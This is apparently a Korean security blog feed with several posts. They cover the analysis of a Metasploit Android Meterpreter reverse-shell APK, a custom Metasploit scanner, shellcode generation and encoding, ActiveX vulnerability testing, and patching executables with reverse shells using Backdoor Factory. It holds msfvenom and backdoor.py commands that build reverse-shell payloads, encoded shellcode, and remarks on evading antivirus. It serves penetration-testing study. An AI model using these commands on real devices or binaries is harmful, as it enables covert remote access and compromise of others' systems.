10/30/2015

[METASPLOIT] Android Meterpreter Shell 분석 - Part 1 Meterpreter APK Analysis

Metasploit 에서 제공하는 Meterpreter Shell. 그 중 Android Apk를 통한 Shell에 대한 분석을 해볼까 합니다.

MSF와 Meterpreter에 관심이 많아 이전에도 따로 보안가 입장에서 분석해볼까 하였는데, 안드로이드 Shell을 사용해야 할 상황이 생겨
분석을 해볼까합니다. 실제 돌아가는 Module 부분은 아래에서도 설명드리겠지만 Meterpreter 모듈을 다운로드 받아 사용하기에 분석량이 좀 많을 수 있어
Part1, Part2 로 나누어 진행해볼까 합니다.

Part1 에서는 Meterpreter APK(venom등으로 만든..)에 대한 앱 분석 및 구동 방법정도의 큰 그림을 볼까합니다.



1. 테스트에 필요한 Meterpreter APK 만들기

msfvenom을 통해 쉽게 생성이 가능합니다. msfpayload 또한 동일하죠.
terminal에서 아래와 같이 venom을 통해 apk를 생성합니다.

# hvenom -p android/meterpreter/reverse_tcp LHOST=***.***.***.*** LPORT=4444 R > test_shell.apk

저는 reverse_tcp로 구성하였고, LHOST를 통해 연결 host , LPORT를 통해 포트 지정 후 apk 로 밀어넣었습니다. 
예전에 이 부분 관련하여 포스팅 한적이 있네요. 참고해주세요 : )

http://www.codeblack.net/2015/08/metasploit-msfvenom-android-meterpreter.html

이렇게 간단하게 Meterpreter APK가 생성되었습니다. 안드로이드 디바이스에 설치 후 실행하면 지정한 포트로 Meterpreter 연결 요청이 나가게 되고,
Handler로 받는 공격자의 Pc에서 쉘을 확인할 수 있습니다.

2. Dex2jar 를 통한 APK Decompile

안드로이드 분석 도구는 굉장히 많습니다. 안드로이드 분석 시 많이 사용되는 dex2jar 와 jad 등을 이용하여 java 코드로 어느정도 흐름 확인이 가능합니다.

# d2j test_shell.apk

dex2jar 를 통해 dex파일을 jar 형태로 변환 후 jd-gui를 통해 분석이 가능합니다.
(원래는 압축 후 class.dex 파일을 풀어야하지만, apk 자체로 풀어도 풀립니다.)

# jdgui test_shell.jar

를 하면 아래와 같이 Meterpreter Shell APK가 확인됩니다. APK상에서의 소스코드는 매우 간단합니다.



아래 참고

http://www.codeblack.net/2015/06/android-jadjava-decompiler-android-apk.html
http://www.codeblack.net/2015/09/hacking-android-unpacker-apk-apk.html

3. Meterpreter Shell APK 의 구동 방식

이친구는 매우 간단한 방식으로 Meterpreter shell 을 열어줍니다.

APK 실행 -> 서비스 등록 -> C&C 서버 연결 -> Meterpreter Shell Module 다운로드 Meterpreter Shell 실행

아까 지정한 LHOST로 연결 후 Meterpreter Module 을 안드로이드 디바이스로 다운로드 후 쉘을 동작하여 Android 에서도 Meterpreter Shell을 사용할 수 있게 합니다.
소스코드를 간단히 훑어보면 몇가지로 압축할 수 있습니다.

Meterpreter Shell for Android

BuildConfig
MainActivity
Payload
PayloadTrustManager
R


MainActivity와 PayloadManager 부분으로 구성되어있습니다. 코드도 매우 적고 심플해요.

MainActivity
package com.metasploit.stage;

import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity
{
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    Payload.start(this);
    finish();
  }
}

MainActivity에서는 별다른 행위 없이 App구동(onCreate )시 Payload 클래스의 start 메소드를 실행합니다.
그럼 Payload 클래스를 볼까요..

Payload
public static final String CERT_HASH = "WWWW";
  public static final String TIMEOUTS = "TTTT604800-300-3600-10";
  public static final String URL = "ZZZZtcp://***.***.***.***:4444                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ";
  public static long comm_timeout;
  private static String[] parameters;
  public static long retry_total;
  public static long retry_wait;
  public static long session_expiry;

runStagefromTCP 함수를 통해 서버와 통신 , Meterpreter Module 을 다운로드 합니다.

해당 class를 보면 아까 지정한 IP와 PORT가 APK 내부에 하드코딩됨을 알 수 있습니다. 또한 Socket을 통하여 서버랑 연결하는 부분도 포함되어 있습니다. 




전체 흐름 상 하드코딩된 서버에 접근하여 모듈을 받아오고, PayloadTrustManager와 받아온 모듈간의 작용을 통해 서비스로 Meterpreter Shell을 돌릴 것으로 생각되네요.

일단 1차적인 분석은 여기까지 하고, 이후에 추가로 Part2에서 작성하도록 하겠습니다.

큰 그림이 중요합니다. APK를 통해 설치 후 Module을 받아와 서비스로 돌린다. 이 개념으로 APK 실행 후 APK 동작 여부와 관계없이 쉘을 유지할 수 있고, 실행만 된다면 어느 정도 백신에서 자유로울 수도 있습니다.

모바일이 회사 인프라와 연결되는 경우도 많아 모바일 보안에 대한 중요성이 높습니다. 또한 IoT 기기에도 적용될 수 있는 점이기에 중요하다고 생각됩니다.




Share: | Coffee Me:

10/22/2015

[METASPLOIT] Metasploit Custom Scanner 만들기(Make Simple Scan Module)

offensive-security 에서 뭐 볼게 있다 뒤적뒤적하던 중 Metasploit Unleashed 에서 간단한 Scan Moudle 코드를 보았습니다. 물론 msf 자체가 ruby로 구성되어 있어 ruby를 쓰시는 분들은 쉽게 제작할 수 있지만, 일단 샘플코드가 있다면 다른 코드로 확장하기 굉장히 유용하기 때문에 따로 포스팅할까 합니다.



이전에 여러가지 테스트 코드를 만들 때 아무 모듈이나 복사해서 구동부분만 다시짜는 식으로 사용했는데, 네트워크 관련 작업에는 샘플코드를 이용해서 작성하는것도 나쁘진 않겠네요.

일단 코드는 매우 간단합니다.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
        include Msf::Exploit::Remote::Tcp
        include Msf::Auxiliary::Scanner
        def initialize
                super(
                        'Name'           => 'My custom TCP scan',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => 'My quick scanner',
                        'Author'         => 'Your name here',
                        'License'        => MSF_LICENSE
                )
                register_options(
                        [
                                Opt::RPORT(12345)
                        ], self.class)
        end

        def run_host(ip)
                connect()
greeting = "HELLO SERVER" 
sock.puts(greeting)
                data = sock.recv(1024)
                print_status("Received: #{data} from #{ip}")
                disconnect()
        end
end

initialize 함수에는 이름과, 버전, Desc 등 여러 정보를 넣습니다.
나중에 msf에서 검색해서 찾을 때 조금 더 편하게 찾을 수 있겠지요.

하나 눈여겨 볼 사항은 안에 register_options 부분입니다.
 register_options(
                        [
                                Opt::RPORT(12345)
                        ], self.class)

이부분에 Opt 로 명시하게 되면, msf에서 사용할 때 우리가 적용하는 Options 부분을 작성할 수 있습니다.

run_host 함수는 해당 스캐너가 동작하는 메인 부분입니다.
인자값으로 ip를 받고 Option 으로 등록된 포트에 대해 스캔하는 작업을 진행합니다.

  def run_host(ip)
                connect()
greeting = "HELLO SERVER" 
sock.puts(greeting)
                data = sock.recv(1024)
                print_status("Received: #{data} from #{ip}")
                disconnect()
        end

connect() 함수를 통해 ip에 대해 연결 시도 후 sock.puts를 통해 데이터 전송(greeting 변수 내용) 후
recv하여 return 된 값을 확인합니다.

물론 connect 등의 함수는 위의 include 를 통해 scanner 모듈과 tcp 모듈 불러온 부분에서 정의된 내용이겠지요.

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner

작성 후 모듈 디렉토리에 넣어주시면 바로 사용이 가능합니다. Metasploit Unleashed 에서는 scanner 경로로 넣어줬네요.
modules/auxiliary/scanner/  에 simple_tcp.rb 이런식으로 넣어줍니다.

그리고 console 에서 검색 후 실행하면 다른 모듈처럼 쉽게 사용이 가능합니다.
use scanner/simple_tcp
msf auxiliary(simple_tcp) > hosts -R
RHOSTS => 127.0.0.1
msf auxiliary(simple_tcp) > run

[*] Received: hello metasploit from 127.0.0.1
[*] Auxiliary module execution completed

추가로 Report 부분은 Report 모듈을 include 하고 작성하면 됩니다.
include Msf::Auxiliary::Report
report_note(
:host => rhost,
:type => "myscanner_password",
:data => data
)

매번 느끼지만, 처음에 metasploit 에 대해 공부할땐 Metasploit Unleashed 가 좋은 것 같습니다.
기본적인 사용방법 공부 후 침투 대상이나 환경에 맞게 하나하나 코드 작성해서 사용하다 보시면 msf 가 굉장히 편리한 툴이란 것을 알 수 있을겁니다 : )

Reference

https://www.offensive-security.com/metasploit-unleashed/writing-scanner/
Share: | Coffee Me:

10/21/2015

[PHP] Terminal 환경에서 php 파일 실행하기

php명령을 이용하여 php파일에 대해서 terminal 환경에서도 실행이 가능합니다.
간단한 코드 작성 후 php 명령을 통해 파일을 실행하면 아래와 같이 echo 문이 동작합니다.

#vim test.php
echo "CODEBLACK.NET";
echo "NIGHT";

# php ./test.php
CODEBLACK.NETNIGHT

다른 스크립트 언어처럼 php도 웹 서비스 이외 부분에서도 유용하게 쓰일 수 있습니다.

Share: | Coffee Me:

10/15/2015

[DEBIAN] Synergy를 이용한 Linux,Windows 간 키보드/마우스 공유(Shared Keyboard and Mouse Using Synergy)

키보드, 마우스를 공유할 수 있는 유명한 Application 중 하나인 Synergy에 대한 이야기입니다.
Synergy는 여러 플랫폼을 지원하여, Windows 뿐만 아니라 Linux, Mac 등 다른 OS간에서도 키보드와 마우스를 공유할 수 있게 도와줍니다.



예전에는 GNU라이센스를 따랐지만, 요즘 10$ 정도의 값을 받고 프로그램을 판매하고 있는 것으로 보입니다.
기존 버전은 Free이기 때문에 검색하셔서 쉽게 다운로드, 설치가 가능합니다.

데비안 리눅스 계열에선 apt 패키지 관리자를 통해 쉽게 설치가 가능합니다.

# apt-cache search synergy
quicksynergy - GUI for easy configuration of Synergy
synergy - Share mouse, keyboard and clipboard over the network

# apt-get install synergy
# synergy

설치 후 실행하시면 창이 하나 나타나며, 옵션을 통해 Server , Client 모드로 사용이 가능합니다.
자동시작 설정 시 booting 시 마다 실행하여 접속해야할 필요가 없어져 쉽게 사용이 가능합니다.

복잡한 UI는 아니라 실행해보시면 쉽게 파악이 갈 것으로 생각됩니다. : )
Share: | Coffee Me:

10/14/2015

[METASPLOIT] Metasploit에서 generate 명령을 통해 payload 생성하기(generate shellcode on metasploit)

msf에서는 공격에 사용되는 shell을 code 형태로 나타낼 수 있는 기능이 있습니다.
바로 generate 명령입니다. 이 명령을 통해 shellcode를 육안으로 보고 복사하여 사용할 수 있게 하는 좋은 기능입니다.


payload 지정 후 generate 명령으로 shellcode 출력


hahwul #> use payload/linux/x64/exec
hahwul payload(exec) #>
hahwul payload(exec) #>
hahwul payload(exec) #> show options

Module options (payload/linux/x64/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute

generate 옵션 확인
hahwul payload(exec) #> generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -f <opt>  The output file name (otherwise stdout)
    -h        Help banner.
    -i <opt>  the number of encoding iterations.
    -k        Keep the template executable functional
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The Platform for output.
    -s <opt>  NOP sled length.
    -t <opt>  The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,psh-cmd,vba,vba-exe,vba-psh,vbs,war
    -x <opt>  The executable template to use

CMD를 lspci로 설정 후 generate 명령을 통해 shell code 확인하기
hahwul payload(exec) #> set CMD lspci
CMD => lspci
hahwul payload(exec) #> generate
# linux/x64/exec - 45 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=lspci
buf =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
"\x06\x00\x00\x00\x6c\x73\x70\x63\x69\x00\x56\x57\x48\x89" +
"\xe6\x0f\x05"
hahwul payload(exec) #>

옵션을 활용한 정교한 shellcode generate




-b 옵션을 통해 제거해야할 데이터가 있다면 제거합니다.
예시로는 \x00 을 제거하면 아래와 같이 \x00이 제거된 코드로 나타나게됩니다.

hahwul payload(exec) #>generate -b '\x00'
# linux/x64/exec - 87 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=lspci
buf =
"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\xc2\x4b\xf7\xf3\x14\x43\x3d\x2c\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa8\x70\xaf" +
"\x6a\x5c\xf8\x12\x4e\xab\x25\xd8\x80\x7c\x43\x6e\x64\x4b" +
"\xac\x9f\xde\x77\x43\x3d\x64\x4b\xad\xa5\x1b\x12\x43\x3d" +
"\x2c\xae\x38\x87\x90\x7d\x43\x6b\x7b\x8a\xc2\x11\xfc\x11" +
"\x43\x3d\x2c"
hahwul payload(exec) #>

-e 옵션을 통해서는 encoder를 지정할 수 있습니다.
x86/shikata_ga_nai 가 좋지만, 위 설정에서 64비트 기준으로 하였기에 간단한 xor encoder를 이용하겠습니다.

hahwul payload(exec) #> generate -e x64/xor
# linux/x64/exec - 87 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=lspci
buf =
"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\x94\x05\xbe\x56\x5a\x0d\x93\xa2\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfe\x3e\xe6" +
"\xcf\x12\xb6\xbc\xc0\xfd\x6b\x91\x25\x32\x0d\xc0\xea\x1d" +
"\xe2\xd6\x7b\x39\x0d\x93\xea\x1d\xe3\xec\xbe\x5c\x0d\x93" +
"\xa2\xf8\x76\xce\x35\x33\x0d\xc5\xf5\xdc\x8c\x58\x59\x5f" +
"\x0d\x93\xa2"
hahwul payload(exec) #>

-f 옵션을 통해서 데이터로 쓸 수도 있구요.
hahwul payload(exec) #>generate -b '\x00' -e x64/xor -f ./test.shell
[*] Writing 701 bytes to ./test.shell...
hahwul payload(exec) #>

-i 옵션을 통해서 여러번 처리할 수 있습니다.

hahwul payload(exec) #> generate -b '\x00' -i 4
# linux/x64/exec - 207 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=lspci
buf =
"\x48\x31\xc9\x48\x81\xe9\xeb\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\xfe\x1e\x65\x70\xde\x25\xc7\x50\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb6\x2f\xac" +
"\x38\x5f\xcc\x37\xaf\x01\xe1\x2d\xfd\xdb\xca\x38\xaf\x01" +
"\x56\xde\xb2\x2f\xd9\xb1\xb8\x0a\xef\xec\x38\xef\x7d\xe0" +
"\x18\xd3\xe6\x9a\x8f\x21\xc7\x33\xda\x3e\x2b\x5b\x19\xc3" +
"\x21\xb1\x6d\xf0\xaa\x9e\x9d\xc5\x2b\xb1\x6d\x47\x59\x3b" +
"\x2c\x66\x87\xab\xda\x69\xe9\x5b\xa9\x72\xf3\x06\xbf\xf7" +
"\x1d\xec\x67\xc8\x20\x2e\x17\x8a\xf9\x77\x39\xb6\x20\x99" +
"\xd9\x0b\x3c\xf3\x3f\xb3\x20\x99\x6e\xf8\x23\xc4\x49\xae" +
"\x3d\xe8\x40\x3f\xf9\xc7\x88\x6b\x97\x4b\xde\xbc\x4e\x09" +
"\x32\xb8\x27\x6f\xe7\x38\x1b\xc3\x99\x52\x24\x3a\x90\xd2" +
"\x3b\x78\xe5\x78\xc4\xb3\xd7\x8c\x30\x78\xb6\x78\xc4\xb2" +
"\xed\x49\x55\x78\xb6\x30\x21\x27\xcf\xc2\x3a\x78\xe0\x67" +
"\x05\xdd\x59\xae\x56\x78\xb6\x30\xdf\x4e\x50"

msfpayload 는 여러 옵션을 포맷을 지원하기에 -t 옵션으로 type 을 지정할 수 있습니다.
hahwul payload(exec) #> generate -b '\x00' -t python
# linux/x64/exec - 87 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=lspci
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xc1\x50\xbb\x1a\xa4\x7c\xa3"
buf += "\xab\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xab\x6b\xe3\x83\xec\xc7\x8c\xc9\xa8\x3e\x94\x69\xcc"
buf += "\x7c\xf0\xe3\x48\xb7\xd3\x37\xc7\x7c\xa3\xe3\x48\xb6"
buf += "\xe9\xf2\xa2\x7c\xa3\xab\xad\x23\xcb\x79\xcd\x7c\xf5"
buf += "\xfc\x89\xd9\x5d\x15\xa1\x7c\xa3\xab"
hahwul payload(exec) #> generate -b '\x00' -t c
/*
 * linux/x64/exec - 87 bytes
 * http://www.metasploit.com
 * Encoder: x64/xor
 * VERBOSE=false, PrependFork=false, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=lspci
 */
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x9f\x84\x06\xdd\x08\xb0\xb7\x8d\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xf5\xbf\x5e\x44\x40\x0b"
"\x98\xef\xf6\xea\x29\xae\x60\xb0\xe4\xc5\x16\x63\x6e\xf0\x6b"
"\xb0\xb7\xc5\x16\x62\x54\x35\x0e\xb0\xb7\x8d\xf3\xf7\x76\xbe"
"\x61\xb0\xe1\xda\xd7\x0d\xe0\xd2\x0d\xb0\xb7\x8d";
hahwul payload(exec) #>
Share: | Coffee Me:

10/10/2015

[WEB HACKING] ActiveX 취약점 분석 방법(ActiveX Vulnerability Analysis)


ActiveX란? (About Active)


MS사(Microsoft)에서 만든 COM(컴포넌트 오브젝트 모델)과 OLE(오브젝트 링킹 앤 임베딩)기술두개를 합쳐서 새로 이름을지은것이 바로 ActiveX입니다. 주로 IE에서 애드온인 ActiveX Control으로 사용되지요.


유독 우리나라에선 많이 사용되었지만, 보안적인 문제로 인하여 점차 사라지고 있는 상황입니다. ActiveX의 불편함과 보안성을 지적하는 패러디도 많이 나타났지요.


불편하다곤 하지만, 초기에 MS의 개발 자원을 웹에서 이용할 수 있다는 점으로 동적 웹페이지의 시대를 열기도 했었죠.
기능이 많아 약점도 많은 이 ActiveX에 대해 분석하는 방법에 대한 이야기입니다.

분석에 앞서 ActiveX를 설치하면 파일이 남는 부분에 대해 잠깐 보도록 하겠습니다.
ActiveX는 기본적으로 시스템루트 디렉토리 하단의 Downloaded Program Files 하단에 관련 파일이 있으며, ocx 등의 파일을 확보할 수 있습니다.




ActiveX 취약점과 분석 방법(ActiveX Vulnerability & Analysis)


뭐 딱히 어딘가에 취약점 종류가 명시되어 있는 건 아닙니다.
주로 EDB나 Zero 마켓에 올라오는 종류는 BOF, BUF, FMS 등을 이용하여 시스템에서 명령을 실행하거나 Shell을 열 수 있는

부분이 자주 올라오는데 이런것들 이외에도 웹에서 적용할 수 있는 여러 공격이 유사하게 들어갈 수 있습니다.




그냥 대충 정리한거긴 한데, 제가 보는 시점에선 크게 명령실행, File Down/Upload, 파라미터 변조 등으로 나눌 수 있을 것 같네요. 물론, 파라미터 변조에서 대다수의 방법이 나오긴 하지만 주로 꼽자면 이정도로 보여요.

일단 ActiveX에 대해 우리가 넘겨줘야할 파라미터, 값들에 대해서 찾아야합니다.
여러가지 방법을 통해서 사용하는 함수들을 알아낼 수 있습니다.

1. WebPage에서 호출되는 구간을 통해 확인
2. Tool을 통해 함수 확인


첫번째 방법은 ActiveX가 사용되는 페이지를 보고 있을 때 편리합니다.
대게 ActiveX를 사용할때 ActiveX에서 사용하는 Method 를 웹에서 호출해야하기 때문이죠.


두번째 방법은 Tool을 통해 사용하는 함수를 확인하는 방법입니다.
주로 MS사에서 배포하는 OEL/COM Object Viewer로 확인이 가능합니다.

oleview.exe는 MS Resource Kit에 포함되어 있으며, 아래 링크에서 RK 설치 후 tool 디렉토리에 들어가시면 사용하실 수 있습니다.

http://www.microsoft.com/en-us/download/details.aspx?id=17657

[Program files (x86)/Windows Resource Kits/Tools/oleview.exe]

설치 후 각 툴 내 리스트에서 우클릭 후 View Type Information 을 통해 확인할 수 있습니다.

left layer list -> right click -> View Type Information




위처럼 메소드에 대해서 확인이 가능합니다. 추가로 처음 사용시 dll 이 없는 이슈가 있었는데, 해당 dll을 깔아 쉽게 설치가 가능합니다. (아래 Error 발생 시)



ActiveX에서 사용하는 메소드에 대해 확인이 되었으니, 일반 웹 해킹 기법과 유사하게 공격이 가능합니다.

임의로 해당 ActiveX파일을 호출하는 웹 페이지를 만든 후 사용하는 Method 에 대해 파라미터 값을 변조하여 Traversal,Execute Command 등 여러가지 공격을 수행하면 됩니다.

예를들면 아래와 같이 볼 수 있겠네요.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<title>Untitled</title>
<meta name="generator" content="Namo WebEditor v3.0">
</head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<p><object classid="clsid:0D886696-C7CE-11D3-A175-08002BF12506" width="445" height="449">
</object>
</p>
</body>

</html>


간단한 ActiveX 코드를 가지고 설명하도록 하겠습니다. 먼저 object 태그를 이용하여 ActiveX 를 로드합니다.


조금 더 발전된 코드에서 취약점 분석이 들어가는 부분입니다.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<title>Untitled</title>
<meta name="generator" content="Namo WebEditor v3.0">
</head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<script language="vbscript">
sub OnTextButtonClick()
        Test.SetText form.TextEdit.value      
end sub

sub OnDrawTypeChange()
        Test.DrawType = form.DrawTypeCombo.value
end sub
</script>

<p><object classid="clsid:0D886696-C7CE-11D3-A175-08002BF17507" width="315" height="320">
id = "Test" </object>
 &nbsp;</p>
<form name="form" method="get">
<p><input type="text" name="TextEdit" value="ActiveX 테스트"> <input type="button"
 name="TextButton" value="설정"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<select
 name="DrawTypeCombo">
<option value="0">사각형</option>
<option value="1">원</option></select></p>
</form>
<p>&nbsp;</p>
</body>

</html>


여기서 중요한 부분이 바로 vbscript 로 작성된 함수들입니다. 이 함수들을 통해 ActiveX로 데이터가 넘어가며 처리한 결

과를 웹에 나타나게 되는데, 이 부분에서 ../../../를 통해 시스템 파일을 유도하거나, 시스템 명령으로 악성 코드를 설치

할 수 있는 발판을 마련하게 됩니다.

요즘 많이 쓰이지는 않지만, 취약점 분석단계에서 아직은 필요한 부분입니다. (사용이 적어도, 리스크가 높기에..)

감사합니다.

Reference

http://www.dart.com/web-get-page-code-example.aspx
http://teamcrak.tistory.com/111
http://jys92.com.ne.kr/VisualC/UseActiveXInWeb.htm
Share: | Coffee Me:

10/07/2015

[CODING] HTML Style 태그/CSS를 이용한 레이어 고정하기(Fixed Layer / CSS)

요즘 웹에서 자주 사용되는 Bootstrap이나 여러 웹사이트를 보면 상단에 메뉴가 고정된 경우가 많습니다.
오래전부터 잘 보이긴했지만, 요즘 눈에 더 들어오네요.

이렇게 웹페이지에서 특정한 레이어를 고정하는 방법은 매우 간단합니다. Style 태그나 CSS를 통하여 쉽게 레이어를 고정할 수 있습니다.

아래 #layer_fixed에 position을 fixed 로 설정하여 적용되는 구간에 대해 화면에 고정시킬 수 있습니다.

<style type="text/css">
        #layer_fixed
        {
            height:46px;
            width:100%;
            color: #000;
            font-size:12px;
            position:fixed;
            z-index:999;
          }
    </style>
    <div id="layer_fixed">
    <font size=4 color=red>고정레이어(Fixed Layer)</font>
    </div>

위 처럼 코드를 적용하게 되면 각 html 내 id 구간에서 style 속성으로 인해 강제로 지정한 위치에 페이지가 고정되게 됩니다.

position:fixed;

이 부분 때문에 페이지 고정이 이루어지죠. CSS에 미리 고정이 필요한 레이어에 대해 position을 세팅해주면 웹 개발 시 쉽게 고정 레이어를 사용할 수 있습니다.
Share: | Coffee Me:

10/06/2015

[HACKING] BDF(BackDoor-Factory) 설치 및 exe 파일에 backdoor 패치하기(patch executable binaries with user desired shellcode)


공격 성공 후 가장 먼지 설치하는 도구는 무엇이 있을까요?
아마 Dropper를 이용한 Backdoor 설치가 먼저라는 생각이 좀 드네요.

Backdoor는 아주 오래전부터 사용된 기법이며, 공격자가 쉽게 드나들 수 있도록 길을 만드는 프로그램, 툴, 과정입니다.
 
Wiki에서도 보시면

A backdoor in a computer system (or cryptosystem or algorithm) is a method of bypassing normal authentication, securing unauthorized remote access to a computer, obtaining access to plaintext, and so on, while attempting to remain undetected. The backdoor may take the form of a hidden part of a program,[1] a separate program (e.g., Back Orifice) may subvert the system through a rootkit[2]

Default passwords can function as backdoors if they are not changed by the user. Some debugging features can also act as backdoors if they are not removed in the release version

요렇게 나와있네요. 대게 원격지에서 접근 가능하도록 쉘을 연결해주고, 필요하다면 root 획득 및 탐지되지 않도록 작성된 툴이 일반적입니다. 이러한 Backdoor를 만드는 방법은 아주 여러가지(프레임워크나, 코딩을 통해..)가 있지만 오늘은 강력한 툴인 BDF에 대한 이야기를 할까 합니다.

 
주로 msfvenom를 통한 테스트 backdoor를 생성해봤지만, 움.. 뭐랄까 bdf는 msf 보다 더 탐지되지 않게 사용할 수 있다는 느낌을 받았습니다. 그럼 설치부터 사용까지 보도록 하겠습니다.

Kali 2.0 부터 추가된 툴 중 BDF라는 툴이 있습니다. 저도 공식 홈페이지 툴 리스트에서 쓸만한 툴이 있나 찾던 중 발견하였고, 이전에 포스팅한 veil 과의 연계성도 고려된 것 같아 테스트 후 사용할까 합니다.

Kali2.0 사용자는 미리 설치되어 있어 메뉴에서 찾아 사용하시면 되고, 다른 OS를 사용하여 툴이 없을 시 공식 github 페이지에서 clone 하여 사용 가능합니다.

git을 통해 설치하기

clone 명령을 통해 bdf를 clone 하고 install.sh 명령을 통해 관련 패키지를 설치합니다.
# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
# cd the-backdoor-factory
# ./install.sh


[#1 Error] 저는 설치 후 실행 중에 capstone 관련 에러가 있어 python 패키지를 추가로 설치하였습니다.
(Debian에서는 없었고, Ubuntu에서만 에러가 발생했네요)

# apt-get install python-capstone libcapstone-dev

설치 기념으로 바로 update를 수행합니다 : )
# ./update.sh
./update.sh: 줄 10: cd: capstone: 그런 파일이나 디렉터리가 없습니다  (#1 Error 발생)
Capstone is up-to-date.
Requirement already up-to-date: pefile in /usr/local/lib/python2.7/dist-packages
Cleaning up...

내부 구성은 아래와 같습니다.
# ls
COPYING      aPLib  backdoor.py  intel        payloadtests.py  winapi
README.md    arm    elfbin.py    machobin.py  pebin.py
__init__.py  asm    install.sh   onionduke    update.sh


python 으로 작성된 스크립트이며, backdoor 파일을 생성하는 backdoor.py 와 부수적인 python 스크립트로 구성되어 있습니다. intel 이외에도 arm 도 지원하나 보네요.



Backdoor.py를 통해 바이너리 파일에 backdoor 패치하기


backdoor.py 를 통해 기존 exe 파일에 backdoor 기능을 패치할 수 있습니다.
아래 명령을 살펴보면 -f 옵션으로 패치할 파일(black.exe)을 지정하고 -H를 통해 reverse shell 의 host를 , -P를 통해 포트를 지정, -s 를 통해 쉘을 지정하면 exe 파일에 패치가 진행됩니다.

# ./backdoor.py -f black.exe -H 127.0.0.1 -P 4444 -s reverse_shell_tcp
-.(`-')  (`-')  _           <-.(`-') _(`-')                            (`-')
__( OO)  (OO ).-/  _         __( OO)( (OO ).->     .->        .->   <-.(OO ) 
'-'---.\  / ,---.   \-,-----.'-'. ,--.\    .'_ (`-')----. (`-')----. ,------,)
| .-. (/  | \ /`.\   |  .--./|  .'   /'`'-..__)( OO).-.  '( OO).-.  '|   /`. '
| '-' `.) '-'|_.' | /_) (`-')|      /)|  |  ' |( _) | |  |( _) | |  ||  |_.' |
| /`'.  |(|  .-.  | ||  |OO )|  .   ' |  |  / : \|  |)|  | \|  |)|  ||  .   .'
| '--'  / |  | |  |(_'  '--'\|  |\   \|  '-'  /  '  '-'  '  '  '-'  '|  |\  \ 
`------'  `--' `--'   `-----'`--' '--'`------'    `-----'    `-----' `--' '--'
           (`-')  _           (`-')                   (`-')                   
   <-.     (OO ).-/  _        ( OO).->       .->   <-.(OO )      .->          
(`-')-----./ ,---.   \-,-----./    '._  (`-')----. ,------,) ,--.'  ,-.       
(OO|(_\---'| \ /`.\   |  .--./|'--...__)( OO).-.  '|   /`. '(`-')'.'  /       
